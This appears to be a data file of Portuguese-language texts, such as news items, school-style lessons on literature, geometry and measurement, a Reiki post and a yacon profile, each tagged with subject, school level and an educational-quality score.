+6 de novembro de 2017	classepolitica	208 Views
+A Assembleia Legislativa da Bahia realiza nesta segunda-feira(06), um Sessão Especial em homenagem ao centenário de Deoscóredes Maximiliano dos Santos, mais conhecido como Mestre Didi. A Sessão especial foi proposta pela deputada estadual Fabíola Mansur(PSB).
+Filho de Maria Bibiana do Espírito Santo (a Mãe Senhora do Ilê Axé Opô Afonjá) e Arsênio dos Santos, Deoscóredes Maximiliano dos Santos nasceu em Salvador, em 2 de dezembro de 1917. Mais conhecido como Mestre Didi, foi sacerdote, escultor e escritor, com grandes contribuições nas três faces de sua vida religiosa e intelectual. Com exposições no Brasil e no exterior, ganhou diversos prêmios e foi um dos mais importantes sacerdotes do culto aos egunguns no mundo. Mestre Didi morreu em 6 de outubro de 2013 e deixou como viúva a antropóloga Juana Elbein dos Santos.
+Mestre Didi construiu uma relação estreita com o continente africano, principalmente com o reino Ketu. Recebeu o título de Alapini, o mais alto do culto aos egunguns, e fundou em 1980 o Ilê Asipá, ainda em atividade. Em uma das suas visitas à África, ele teve o reconhecimento de Alaketu, Rei do Ketu, sendo convidado como membro da família e não como um mero visitante. Sua iniciação sacerdotal se deu aos 7 anos. De presença mítica na Bahia, tornou-se o Sumo Sacerdote Alapini – Ipekun Oye, a mais alta hierarquia no culto aos ancestrais na tradição Iorubá”, informa Fabíola.
+Memória – Aos 55 anos de idade, Mestre Didi fundou o candomblé de culto aos ancestrais Ilê Asipá, situado em uma das transversais da Rua Orlando Gomes, em Salvador. Os Asipás, caçadores ligados a Oxóssi, transmitem a ideia de segurança. Não por acaso, as obras do Mestre Didi assimilam signos do candomblé e têm relação direita com os orixás e os elementos da natureza.
+“Mestre Didi sempre foi um homem voltado para a cultura e a vida afro-brasileira, desde os muitos livros que publicou sobre o culto dos ancestrais, no qual tinha o honroso cargo de Alapini. Foi um artista escultor de lindas obras, cuja temática falava desse extraordinário universo das coisas da África mítica, onde os deuses estão na terra, e por isso suas esculturas eram totêmicas, saíam do chão para alcançar o infinito”, escreveu o artista e diretor-curador do Museu Afro Brasil, Emanoel Araújo, no texto de despedida “Um Adeus ao Alapini”. As obras de Didi têm destaque no acervo permanente do Museu Afro Brasil, no Parque Ibirapuera, em São Paulo.
+Na justificativa do projeto para comemorar o centenário de Mestre Didi na ALBA, Fabíola Mansur escreveu sobre a grandiosa contribuição de Mestre Didi às artes no país, sua vigorosa obra escultórica e completou: Seu primeiro livro, “Yorubá tal Qual se Fala”, foi lançado em 1946. Mestre Didi possui livros editados em português, espanhol, inglês, francês e yorubá. Sua obra literária está reunida em volumes como “Contos Negros da Bahia” (1961) e “Contos de Nagô” (1963), da editora G.R.D., dentre outros. Com várias premiações, suas obras são disputadas por galerias de arte e avalizadas por nomes como Jorge Amado e Emanoel Araújo. Em 1989, as esculturas de Mestre Didi se destacaram na célebre exposição Magiciens de la Terre, no Centro Georges Pompidou, em Paris, um momento decisivo para o reconhecimento internacional de seu trabalho. Com o tempo, passou a ser estudado por historiadores, linguistas e críticos de arte e de literatura”.
+“Por sua vida e pela preservação da memória afro-brasileira e aos cultos de matriz africana, Mestre Didi merece todas as homenagens da Bahia e da nossa Assembleia Legislativa pela passagem do seu centenário de nascimento”, disse a parlamentar.
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+Tags ALBAFabíola Mansurmestre Didi
+Saiba como votou c...",original,original,original,original,2,0.4
+"Fatores que Influenciam o Processo de Ensino-Aprendizagem sob a Perspectiva de Estudantes do Curso de Ciências Contábeis: Análise em uma Instituição de Ensino Superior de Minas Gerais
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+Modelagem de Equações Estruturais com Mínimos Quadrados Parciais: um Exemplo daAplicação do SmartPLS® em Pesquisas em Contabilidade
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+indexadores
+Indexadores
+Informações
+Para Leitores
+Para Autores
+Para Bibliotecários
+Revista de Educação e Pesquisa em Contabilidade (REPeC)
+Academia Brasileira de Ciências Contábeis (ABRACICON), SAS Quadra 5, Bloco J, Edifício CFC, CEP 70070-920, Brasília - Distrito Federal, Brasil",original,original,original,original,1,0.2
+"Cartas e cadernetas: exercícios da escrita
+Cláudia Sampaio
+""que possa a morte me apanhar pensando, escrevendo, lendo""
+Epicteto
+Os bons músicos sabem que é no exercício diário com o instrumento que surge a possibilidade de produzir música de qualidade. Assim como os artistas plásticos na lida cotidiana com seus traços, texturas, cores e formas, fotógrafos em vigília por aguçar olhares e novos ângulos, e professores, que a cada nova aula afinam seu ofício, os escritores têm em seus diários, cadernetas e correspondências o lugar onde questionam, aprimoram e cultivam a produção de suas obras. Portanto, com exceção da 'sorte de principiante', é na constância do exercício que encontramos o caminho para a conquista do êxito na atividade profissional.
+No caso da escrita, a prática não é exclusividade dos profissionais das letras, como mostra Michel Foucault em ""A escrita de si"" (1983) ao defender que a palavra escrita interessa a todos que desejam ""cuidar da alma"", ""atenuar os perigos da solidão"", ""construir a memória material de coisas lidas, ouvidas e pensadas""; enfim, exercitar o pensamento a partir do sentido e encontrar-se face a face consigo e com o outro.
+Voltado para o estudo sobre ""as artes de si mesmo"", ou seja, ""a estética da existência e o domínio de si e dos outros na cultura greco-romana, nos dois primeiros séculos do império"", Foucault observou a relação que os antigos como Plutarco, Sêneca e Epicteto mantinham com o exercício da escrita, analisando duas expressões frequentes entre esses pensadores: a correspondência (""a carta é ao mesmo tempo um olhar que se lança sobre o destinatário e uma maneira de se oferecer ao seu olhar através do que lhe é dito sobre si mesmo"") e o hupomnêmata (espécie de caderneta onde se anotava uma coletânea de coisas lidas e ouvidas). A caderneta dos antigos é citada por Foucault como meio de enganar a solidão, já que ""o fato de se obrigar a escrever desempenha o papel de um companheiro"" e a carta é o meio pelo qual o olhar do outro elabora nossa alma.
+É fato que cadernetas e correspondências não são práticas tão comuns hoje em dia quanto foram no passado, quando o ""escrever para si e para o outro desempenhava um papel considerável na sociedade"". Mas se tivermos em conta a marcha dos astros e o inevitável devir de tudo que nos cerca e constitui, veremos que a palavra escrita segue promovendo encontros íntimos e interpessoais, sobretudo pela internet. Afinal, temos na rede textos capazes de nos afetar profundamente, além dos sites de relacionamento, e-mails de trabalho, amizade, amor e a experiência dos blogs, tão próxima da escrita íntima dos diários.
+Foucault lembra dois dos princípios frequentemente evocados por Sêneca: ""o de que é necessário adestrar-se durante toda a vida e o de que sempre se precisa da ajuda do outro na elaboração da alma sobre si mesma"". Sêneca, que insistia na leitura como pratica de si, defendeu ainda a escrita como elemento que transforma a coisa vista ou ouvida ""em forças e em sangue"".
+Por essa vereda seguem os poetas, e é lugar comum pensarmos em como eles se apoderam dos dissabores e da solidão como requisitos indispensáveis para a produção de suas obras. Até mesmo porque muitos deles contribuíram para perpetuar a ideia de que era preciso afastar-se do mundo para dar conta das exigências de qualidade que impunham às suas obras. Por esse caminho de abandono e solidão seguiram alguns de nossos poetas recentes que tinham particular interesse na escrita de cartas e diários – Ana Cristina César, Torquato Neto – e que acabaram por dar fim à própria vida. Não que esta seja uma condenação aos suicidas, afinal, cada um é dono de sua vida e faz com ela o que melhor lhe aprouver, mas não há dúvidas de que a solidão radical, pela qual optaram muitos dos escritores em diferentes épocas, é assunto de interesse para quem pensa sobre o ofício do escritor.
+Uma das cartas que Fernando Pessoa escreveu ao amigo, também poeta, Armando Côrtes-Rodrigues é motivada justamente por uma ""c...",original,original,original,original,5,1.0
+"Olá, pessoal! Já pararam para pensar que as histórias que lemos nos livros podem nos levar para lugares incríveis e nos apresentar a personagens super interessantes? Hoje, vamos embarcar em uma aventura pelo mundo da Literatura Brasileira! 
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+Afinal, o que é Literatura Brasileira? É o conjunto de todos os livros, poemas, peças teatrais e outros textos escritos por autores brasileiros ou sobre o Brasil. Ela conta a nossa história, mostra a nossa cultura e expressa os nossos sentimentos. É como um grande espelho que reflete quem somos.
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+Imagine que a literatura é como uma conversa entre o autor e o leitor. O autor escreve a história, coloca suas ideias e emoções ali, e o leitor, ao ler, interpreta essa história de acordo com suas próprias experiências e sentimentos. Legal, né?
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+Um dos grandes nomes da nossa literatura é Machado de Assis. Já ouviram falar dele? Machado de Assis escreveu livros como “Dom Casmurro” e “Memórias Póstumas de Brás Cubas”. Suas histórias são cheias de mistério, humor e reflexões sobre a vida. Ele usava as palavras de um jeito único, como se estivesse pintando um quadro com letras. Outro autor importante é Monteiro Lobato, que criou personagens inesquecíveis como a Emília, o Visconde de Sabugosa e a Narizinho, que vivem altas aventuras no Sítio do Picapau Amarelo. Quem nunca se divertiu com as histórias do Sítio?
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+Mas a Literatura Brasileira não é só Machado de Assis e Monteiro Lobato. Temos muitos outros autores incríveis, como Cecília Meireles, Carlos Drummond de Andrade, Cora Coralina e tantos outros que nos presenteiam com suas palavras. Cada um deles tem um estilo diferente, uma forma única de contar histórias. E sabe o que é mais legal? A literatura está sempre evoluindo, sempre se transformando. Novos autores surgem a todo momento, trazendo novas ideias e novas formas de ver o mundo.
+
+E por que é importante estudar Literatura Brasileira? Porque ela nos ajuda a entender quem somos, de onde viemos e para onde queremos ir. Ela nos ensina a pensar, a questionar, a refletir sobre a vida. Além disso, a leitura nos diverte, nos emociona e nos transporta para outros mundos. Que tal começar a sua viagem literária agora mesmo? Escolha um livro de um autor brasileiro que te interesse e embarque nessa aventura! Qual livro você escolheria para começar sua jornada?",Português,Literatura brasileira,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz a Literatura Brasileira de forma convidativa, utilizando uma linguagem acessível e exemplos relevantes como Machado de Assis e Monteiro Lobato, adequados para o ensino fundamental. Incentiva a leitura e a reflexão sobre a identidade brasileira e a importância da literatura. O texto é coerente, bem estruturado e desperta o interesse dos alunos, merecendo a pontuação máxima.",5,1.0
+"Enquanto ela rejuvenesce com sexo 28 anos, bela mulher planeja...",original,original,original,original,0,0.0
+"Passar de muitos símbolos para os quatro símbolos de Reiki | O Tao do Reiki
+Passar de muitos símbolos para os quatro símbolos de Reiki
+Vários sistemas, que derivam do Reiki Essencial, ensinam mais símbolos de Reiki do que os quatro que usamos. Muitos praticantes perguntam porque surgem mais símbolos. Essa é uma «evolução» natural em qualquer prática. Há sempre uma necessidade de trabalhar com algo mais, ou criar algo que possa indicar expressamente a diferença. Será necessário?
+A necessidade é encontrada por cada um. Muitas vezes um praticante pode pensar que já experimentou tudo desse nível mas, o mais importante não é se fez gestos ou horas mas sim a transformação que realizou em si, a elevação da consciência.
+Quero ressalvar-te que a criação de novos Sistemas de Reiki é feita pela necessidade de cada um. O mais importante mesmo é a prática de Reiki, por isso, há que respeitar tudo.
+Como praticar «apenas» os quatro símbolos de Reiki
+Para quem tem algum sistema de imensos símbolos e encontre apenas sentido nos quatro símbolos de Reiki, aqui ficam algumas dicas para a prática e integração destas ferramentas.
+O desenho dos símbolos
+Começa, primeiro, por praticar o desenho dos símbolos. Coloco a ilustração em baixo, caso necessites da folha para ajudar o seu desenho, é só pedir. Possivelmente alguns sistemas ensinam o desenho de forma diferente, principalmente do Honshazeshonen e do Daikomyo. Faz conforme aprendeste.
+Os símbolos de Reiki
+A prática do desenho é importante, é uma forma de gravares em ti, a forma do símbolo. Assim, poderás usar com confiança em todas as situações, principalmente as de emergência.
+Começa por desenhar cada um dos quatro símbolos na mão. Diz o seu mantra e deixa o símbolo crescer em energia na mão;
+Aplica o autotratamento completo, pelo menos 4 dias ou então, nada melhor que voltar a fazer os 21 dias;
+Se quiseres, podes ainda fazer um símbolo por dia, para sentires a diferença. Vê como fazer nas Cartas Técnicas, Reiki Autotratamento e Reflexão. Aproveita e insere os princípios e os poemas na tua prática.
+Experimenta colocar um símbolo em cada posição, por dia. Vai ajudar-te a compreender o efeito dessa frequência nesse local.
+Medita sobre cada um dos símbolos, sente o que esse símbolo pode fazer em cada chakra, no teu corpo físico, emocional e mental. Sente. Podes ver as meditações nos livros Reiki – Elevação da Consciência e O Grande Livro do Reiki (são diferentes).
+Sente cada símbolo na tua aura, assim como dentro do teu corpo.
+Os 4 símbolos de Reiki no dia-a-dia
+Nada melhor que expressar Reiki no nosso dia-a-dia, para que as coisas aconteçam. Várias situações onde podes aplicar os símbolos:
+No envio de Reiki para as tuas situações;
+Na comida;
+Potenciar a tua energia vital;
+Limpar o espaço;
+Purificar o corpo;
+Reiki é incrível e apresenta-se também através dos quatro símbolos. Conhecer cada um dos símbolos, utilizá-los para o nosso tratamento e elevação da consciência, faz parte do que o Mestre Usui determinava como aplicação «para a melhoria do corpo e da mente».
+Diverte-te a praticar, não são apenas 4 símbolos, são sim ferramentas de muito trabalho e desenvolvimento interior.
+Desenhar símbolos de Reiki nas mãos Os símbolos de Reiki mostrar ou não, o respeito e a elucidação Os símbolos de Reiki, desenhados pela Mestre Takata",original,original,original,original,3,0.6
+"Parlamentar no Tocantins propõe lei que cassa ICMS de empresas com trabalho escravo
+Em mais um estado brasileiro, o Tocantins, empresas que se beneficiam de trabalho escravo podem perder registro de Imposto sobre Circulação de Mercadorias e Serviços (ICMS). Na prática, sem o cadastro, elas ficam impedidas de manter relações comerciais. A medida está prevista no projeto de Lei apresentado pela deputada Amália Santana (PT) à Assembleia Legislativa do Estado, na quarta-feira (15).
+Carvoeiro no Tocantins trabalha em forno sem nenhum equipamento de proteção. Foto: MTE
+A lei proposta ainda prevê que pessoas físicas ou jurídicas flagradas nessa condição fiquem impedidas de exercer atividade no mesmo setor econômico por período de dez anos. Segundo a parlamentar, o projeto se baseia na lei regulamentada recentemente pelo governador Geraldo Alckmin (PSDB) de São Paulo , que prevê a cassação do registro de ICMS das empresas em todo o estado e o banimento por dez anos. O Tocantins é o segundo estado em que foram apresentados projetos de leis semelhantes ao aprovado em São Paulo. No Maranhão, a iniciativa foi do deputado estadual Bira do Pindaré (PT) . O projeto do parlamentar maranhense deve ser aprovada ainda este ano e já está sob análise da governadora Roseana Sarney (PMDB).
+Questionado pela Repórter Brasil se trabalharia para aprovação da lei, de modo semelhante ao que o colega partidário Geraldo Alckmin (PSDB) fez no caso de São Paulo, o governador do Tocantins, Siqueira Campos (PSDB), informou por meio de nota divulgada por sua assessoria de imprensa que, como o projeto acabou de ser apresentado, vai aguardar ""em respeito ao parlamento"" a tramitação antes de se posicionar. O chefe do Executivo tocantinense também salienta que o estado já possui outras normas para o combate e erradicação do trabalho escravo e que ""toda ação que vise melhorar a qualidade de vida do cidadão será apreciada"".
+Escravidão Dados recentes do Ministério do Trabalho e Emprego (MTE) apontam, em 2012, o Tocantins como o segundo estado do país com maior número de resgatados da escravidão contemporânea —com 321 vítimas— e também com fiscalizações sobre essa prática, com 24 ações ao todo. As atividades econômicas que concentram as principais ocorrências do uso de mão de obra escrava na unidade federativa são a pecuária bovina, a produção de carvão vegetal e o cultivo de eucalipto. ""Constatamos que há alta incidência de casos de trabalho escravo no Tocantins e é preciso lidar com este problema"", defendeu Amália Santana, em entrevista à Repórter Brasil .
+Para o coordenador de combate ao trabalho escravo da Comissão Pastoral da Terra (CPT), Frei Xavier Plassat, é importante que uma iniciativa do tipo apareça em um momento em que Tocantins apresenta sucessivos casos de pessoas submetidas à escravidão. ""Se seguirmos o espírito da lei de São Paulo, a responsabilidade será não só direta, mas também indireta. Ou seja, será punido não só aquele que empregar escravos, mas também aquele que se beneficiar, com lucro, da obtenção de mercadorias produzidas nessa condição"", observa.
+A ideia de cassar o registro comercial de empresas que se beneficiam de trabalho escravo tem recebido apoio das principais instituições de combate à prática. O Ministério Público do Trabalho (MPT) já se posicionou publicamente em favor da lei de São Paulo , defendendo que a proposta deve espalhar-se por outros estados. Da mesma forma,a relatora especial para as formas de escravidão contemporânea da Organização das Nações Unidas (ONU), Gulnara Shahinian, ressaltou a importância da proposta e destacou que o Brasil é o país que mais avançou na construção de mecanismos institucionais para combater o trabalho escravo em 2012. Segundo Xavier Plassat, a constatação de novas iniciativas parecidas com o objetivo reprimir economicamente a exploração de pessoas em situação análoga à de escravo deve ajudar a construir um ""ambiente favorável"" para que outros projetos, em outros estados, também se multipliquem.",original,original,original,original,4,0.8
+"Você já parou para pensar em quantas formas geométricas existem ao seu redor? Olhe para o seu quarto, para a rua, para a natureza. Triângulos, quadrados, círculos, retângulos... A geometria está em tudo! Mas, afinal, o que é geometria e por que ela é tão importante?
+
+A geometria, que vem do grego ""geo"" (terra) e ""metria"" (medida), é o ramo da matemática que estuda as formas, tamanhos e posições dos objetos no espaço. Desde as pirâmides do Egito até os prédios modernos, a geometria tem sido fundamental para a construção e o desenvolvimento da nossa sociedade.
+
+**Formas Bidimensionais (2D):**
+
+As formas 2D são aquelas que possuem apenas duas dimensões: comprimento e largura. Imagine um desenho em um papel. Alguns exemplos comuns são:
+
+*   **Triângulo:** Uma figura com três lados e três ângulos. Podemos ver triângulos em telhados de casas, placas de sinalização e até em fatias de pizza!
+*   **Quadrado:** Uma figura com quatro lados iguais e quatro ângulos retos (90 graus). Jogos de tabuleiro, janelas e alguns tipos de embalagens utilizam quadrados.
+*   **Círculo:** Uma figura redonda, sem lados ou ângulos. Pneus de carros, moedas e pratos são exemplos de objetos circulares.
+*   **Retângulo:** Uma figura com quatro lados e quatro ângulos retos, onde os lados opostos são iguais. Livros, portas e telas de televisão frequentemente têm formato retangular.
+
+**Formas Tridimensionais (3D):**
+
+As formas 3D, por outro lado, possuem três dimensões: comprimento, largura e altura. Pense em objetos que você pode pegar e manusear. Alguns exemplos incluem:
+
+*   **Cubo:** Uma figura com seis faces quadradas iguais. Dados, caixas e alguns tipos de blocos de montar são cubos.
+*   **Esfera:** Uma figura redonda em todas as direções, como uma bola de futebol ou uma laranja.
+*   **Cilindro:** Uma figura com duas bases circulares paralelas e uma superfície curva. Latas de refrigerante, rolos de papel toalha e alguns tipos de pilares são cilíndricos.
+*   **Pirâmide:** Uma figura com uma base poligonal (triângulo, quadrado, etc.) e faces triangulares que se encontram em um ponto chamado ápice. As pirâmides do Egito são exemplos famosos, mas também podemos encontrar pirâmides em telhados e em alguns tipos de embalagens.
+
+**Aplicações da Geometria no Dia a Dia:**
+
+A geometria não está apenas nos livros didáticos. Ela está presente em diversas áreas da nossa vida, como:
+
+*   **Arquitetura:** A geometria é essencial para o projeto e a construção de edifícios, pontes e outras estruturas.
+*   **Design:** Designers utilizam a geometria para criar objetos bonitos e funcionais, desde móveis até roupas.
+*   **Engenharia:** Engenheiros aplicam a geometria para resolver problemas relacionados à mecânica, eletrônica e outras áreas.
+*   **Arte:** Muitos artistas utilizam a geometria para criar obras de arte com padrões e formas interessantes.
+
+**Para Pensar:**
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+*   Quais outras formas geométricas você consegue identificar no seu dia a dia?
+*   Como a geometria pode te ajudar a resolver problemas práticos?
+*   Você consegue imaginar um mundo sem geometria? Como seria?
+
+A geometria é uma ferramenta poderosa que nos ajuda a entender e a interagir com o mundo ao nosso redor. Ao aprender sobre formas, ângulos e medidas, você estará desenvolvendo habilidades importantes para a vida e abrindo portas para diversas áreas do conhecimento. Então, continue explorando o mundo da geometria e descubra as infinitas possibilidades que ela oferece!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz a geometria de forma clara e acessível, definindo conceitos básicos (formas 2D e 3D) com exemplos do cotidiano. Aborda aplicações práticas e estimula a reflexão, tornando-o adequado para o ensino fundamental. O texto é coerente, bem escrito e relevante para o currículo escolar, assemelhando-se a um material didático introdutório.",5,1.0
+"A RTP1 transmitiu pelas 15 horas e em direto o jogo que qualificou o Japão para a fase seguinte da competição. Mesmo saindo derrotada, a seleção asiática passou aos oitavos-de-final do Mundial através do fator de desempate “Fair-Play”. A vitória da já eliminada Polónia por um zero foi vista por mais de 950 mil portugueses e teve uma audiência média de 365 mil telespectadores, ou seja, cerca de 22.4% dos telespectadores que estavam a assistir televisão no lar.
+O jogo foi transmitido em simultâneo na Sport TV2 e registou uma audiência média de 6 mil telespectadores, a que correspondeu um share de 0.4%.
+Período do jogo RTP1:
+Audiência Total(#): 979 mil
+Audiência Média(#): 365 mil
+Audiência Média(%): 3.8
+Share(%): 22.4
+Período do jogo Sport TV2:
+Audiência Total(#): 48 mil
+Audiência Média(#): 6 mil
+Audiência Média(%): 0.1
+Share(%): 0.4
+Veja aqui o ranking de jogos mais vistos do Mundial 2018
+Elaborado por Insight / IPG Mediabrands sobre dados CAEM/GfK reproduzidos em Mediamonitor - MMW, Telereport; Base: FTA+PayTV; Alvo: Universo (4+ anos)
+Tipologia de audiência: visionamento em Direto
+MINUTO-A-MINUTO: RTP1
+Analisando o minuto-a-minuto da partida Japão x Polónia, de referir que embora a tendência das audiências fosse de crescimento até ao final da primeira parte, esta sofreu algumas oscilações, tendo registado uma audiência média de 291 mil telespectadores. Na segunda parte, os portugueses mostraram um maior interesse pelo jogo, notado no aumento da audiência média (451 mil telespectadores) e do share (28.5%). Mais uma vez, o pico de audiências registado nesta partida esteve em linha com a maioria dos jogos transmitidos em sinal aberto, tendo sido atingido já perto do final da transmissão do programa (501 mil telespectadores).
+Elaborado por Insight / IPG Mediabrands sobre dados CAEM/GfK reproduzidos em Mediamonitor - MMW, Telereport; Base: FTA+PayTV; Alvo: Universo (4+ anos)
+Tipologia de audiência: visionamento em Direto
+PERFIL JOGOS VS POPULAÇÃO: RTP1
+O perfil do telespectador português neste jogo está em linha com os restantes jogos transmitidos em sinal aberto, sendo a sua maioria masculino e com idade superior, com mais de 65 anos e de classe social média.
+Elaborado por Insight / IPG Mediabrands sobre dados CAEM/GfK reproduzidos em Mediamonitor - MMW, Telereport; Base: FTA+PayTV; Alvo: Universo (4+ anos)",original,original,original,original,1,0.2
+"Já se sentiu perdido diante de um problema de matemática? Calma, isso acontece com todo mundo! A boa notícia é que resolver problemas não precisa ser um bicho de sete cabeças. Com as ferramentas certas e um pouco de prática, você pode se tornar um mestre na arte de desvendar esses desafios. 
+
+O primeiro passo é entender o que o problema realmente está pedindo. Leia com atenção, sublinhe as informações importantes e identifique as palavras-chave. Por exemplo, se o problema fala em ""dividir igualmente"", já sabemos que a operação de divisão será fundamental. Transforme as informações em algo visual, como um desenho ou diagrama. Isso ajuda a organizar as ideias e a visualizar a situação. Imagine que você precisa calcular quantos pedaços de pizza cada pessoa comerá em uma festa. Desenhe a pizza, divida-a e conte os pedaços! Fica muito mais fácil, não é?
+
+Agora, escolha a estratégia certa. Muitas vezes, um problema pode ser resolvido de diferentes maneiras. Experimente! Comece com as operações básicas: adição, subtração, multiplicação e divisão. Se o problema envolve porcentagens, lembre-se de transformar a porcentagem em fração ou decimal antes de fazer os cálculos. Em problemas mais complexos, pode ser útil usar a ""tentativa e erro"", ou seja, chutar um valor e verificar se ele funciona. Se não funcionar, ajuste o valor e tente novamente. Essa estratégia pode te ajudar a entender melhor o problema e a encontrar a solução correta.
+
+Depois de resolver o problema, confira a sua resposta. Ela faz sentido? A unidade de medida está correta? Se o problema perguntava sobre o número de maçãs, a resposta deve ser um número inteiro, não um número decimal. E se você encontrou a resposta, ótimo! Mas não pare por aí. Tente resolver o mesmo problema de uma maneira diferente. Isso te ajudará a fortalecer o seu raciocínio lógico e a desenvolver novas habilidades.
+
+Lembre-se, a prática leva à perfeição. Quanto mais problemas você resolver, mais fácil se tornará. Não tenha medo de errar! O erro faz parte do aprendizado. Use-o como uma oportunidade para entender onde você errou e como pode melhorar. E, o mais importante, divirta-se! A matemática pode ser desafiadora, mas também pode ser muito divertida. Comece com problemas simples e vá aumentando a dificuldade gradualmente. Em breve, você estará resolvendo problemas complexos com a maior facilidade! Que tal começar agora mesmo? Pense em um problema do seu dia a dia que envolva matemática e tente resolvê-lo. Você vai se surpreender com o que é capaz de fazer!
+
+E aí, pronto para se tornar um mestre na resolução de problemas? Acredite em si mesmo e não desista! A matemática está em toda parte e, com um pouco de esforço, você pode dominá-la.",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima (5) por apresentar um conteúdo altamente relevante e proveitoso para fins educacionais no ensino fundamental, abordando a resolução de problemas matemáticos de forma clara, consistente e motivadora. O texto utiliza uma linguagem acessível, oferece estratégias práticas e incentiva a prática e a persistência, sem apresentar informações irrelevantes ou conceitos inadequados para o nível de escolaridade.",5,1.0
+"Colesterol alto, diabetes, prevenção do câncer de cólon, osteoporose, auxiliar na absorção de cálcio e de vitaminas.
+Peru. Nativo da região andina que se estende desde a Venezuela até o norte da Argentina. Suas folhas e tubérculos são consumidos na forma natural. Na década de 1980 foi introduzida na Nova Zelândia, Japão e agora em outros países como Brasil e Tailândia. O Peru tem o maior número de variedades e é o maior produtor do mundo, com uma estimativa de 1.480 acres cultivados (Nota: dados de novembro de 2003). Tem sido produzida no interior de São Paulo.
+O termo ""yacon"" é o mais utilizado em países como Colômbia, Peru, Argentina, países europeus, Japão, Nova Zelândia e Brasil. Outros nomes em idiomas europeus, criados provavelmente por pesquisadores ou cultivadores locais são:
+O yacon é rico em antioxidantes, principalmente ácidos clorogênico e cafeico. Possui ainda nutrientes como o cálcio e o potássio.
+Yacon tem a pele marrom escura e se parece com uma batata alongada. Costuma ser plantada em terra fofa e em altitudes elevadas. Sua raiz necessita de muita água.
+Tem uma textura crocante como a castanha e é levemente doce, suculenta e saborosa. Deixada ao sol, sua doçura se intensifica e pode ser consumida cru como fruta, xaropes, bolos, pickles, saladas, em preparos e até como sobremesa. Ao longo dos anos transformou-se em importante alimento funcional.
+A raiz apresenta elevado teor de água, possui reduzido valor energético e, diferentemente da maioria das espécies tuberosas que estocam energia na forma de amido, o yacon tem como principal carboidrato de reserva os frutooligossacarídeos (FOS), os quais têm sido motivo de destaque por exercerem atividade bifidogênica.
+Existe ainda a farinha de yacon, usada para a fazer bolos, biscoitos e bebidas. O consumo pode ser diário: um vegetal de tamanho médio ou duas colheres de sopa de farinha. Pode ser indicado como alimento para adultos e crianças.
+Estudos científicos indicam que é boa para o intestino, protege potencialmente contra o câncer, ajuda na absorção de cálcio e de vitaminas e pode diminuir os picos de açúcar no sangue ao ingerir alimentos doces, um problema para os diabéticos. Talvez seja esse o motivo pelo qual a planta é conhecida como ""batata do diabético"".
+Além disso, a oligofrutose promove bactérias benéficas no cólon. Certos produtos modernos, como os chamados bio-iogurtes, têm oligofrutose adicionado para conseguir o mesmo efeito, mas yacon já tem naturalmente essa qualidade.
+½ kg de batata yacon fresca , 1-2 tubérculos (a parte grossa do caule que cresce debaixo da terra)
+¼ xícara de pimenta vermelha doce, cortada em anéis ou em cubos
+Descasque e corte o abacaxi em oito seções em cortes longitudinais. Retire a parte central e corte os pedaços de abacaxi em fatias de 1,5 cm de espessura.
+Para descascar o yacon, use um descascador de batatas comum, tendo o cuidado de não cortar profundamente o tubérculo. Pode-se cortar com uma faca. Enxague quando descascados, pois a casca de yacon é amarga. Imediatamente adicione o suco de limão para evitar a descoloração do yacon, em seguida combine com abacaxi e pimenta.
+CNN.com: Sweet root good for dieters, diabetics - Acesso em 10 de maio de 2015
+Globo.com: Batata yacon é boa para intestino, colesterol e glicose - Acesso em 10 de maio de 2015
+Wikipedia: Yacon - Acesso em 10 de maio de 2015
+The Plant List: Smallanthus sonchifolius - Acesso em 10 de maio de 2015
+GOOGLE IMAGES de Smallanthus sonchifolius - Acesso em 10 de maio de 2015",original,original,original,original,4,0.8
+"Já parou para pensar em quantas vezes usamos medidas no nosso dia a dia? Seja para saber se o bolo vai caber na forma, se a roupa que você quer comprar é do seu tamanho, ou até para calcular quanto tempo falta para chegar em casa! Medidas e grandezas estão por toda parte, e entender como elas funcionam é essencial para nos ajudar a resolver problemas e tomar decisões importantes. Vamos embarcar juntos nessa aventura matemática?
+
+Primeiramente, é importante entendermos o que são grandezas. Grandezas são tudo aquilo que pode ser medido, como o comprimento de uma mesa, a massa de um pacote de arroz, o tempo que gastamos jogando videogame ou a temperatura de um dia ensolarado. Cada grandeza possui uma unidade de medida padrão, que nos ajuda a comparar e quantificar as coisas de forma precisa. Por exemplo, o metro (m) é a unidade padrão de comprimento, o quilograma (kg) é a unidade padrão de massa, o segundo (s) é a unidade padrão de tempo e o grau Celsius (°C) é uma unidade comum para medir a temperatura.
+
+Mas por que precisamos de unidades de medida padronizadas? Imagine só a confusão se cada pessoa usasse a própria régua para medir o comprimento de um tecido! As medidas seriam diferentes e seria impossível comprar a quantidade certa. As unidades padrão, como as definidas pelo Sistema Internacional de Unidades (SI), garantem que todos estejam falando a mesma língua quando se trata de medidas. No Brasil, o INMETRO é o órgão responsável por garantir que os instrumentos de medida estejam corretos e que as unidades do SI sejam utilizadas. Assim, quando você compra 1 kg de feijão no supermercado, pode ter certeza de que está levando a quantidade certa para casa.
+
+Além de entender as unidades de medida, é fundamental saber como convertê-las. Muitas vezes, precisamos transformar uma medida de metros para centímetros, ou de quilogramas para gramas. Para isso, utilizamos fatores de conversão. Por exemplo, sabemos que 1 metro equivale a 100 centímetros. Então, se quisermos saber quantos centímetros tem em 2,5 metros, basta multiplicar 2,5 por 100, obtendo 250 centímetros. Praticar essas conversões é como afiar o machado antes de cortar a lenha: quanto mais você pratica, mais fácil e rápido se torna resolver os problemas do dia a dia.
+
+E as áreas e volumes? Também fazem parte do mundo das medidas! A área é a medida de uma superfície, como o tamanho de um campo de futebol ou a área de um azulejo. O volume, por sua vez, é a medida do espaço ocupado por um objeto, como o volume de água em uma piscina ou o volume de ar dentro de uma bola. Calcular áreas e volumes nos ajuda a planejar construções, estimar quantidades de materiais e até mesmo a entender o espaço que nos rodeia.
+
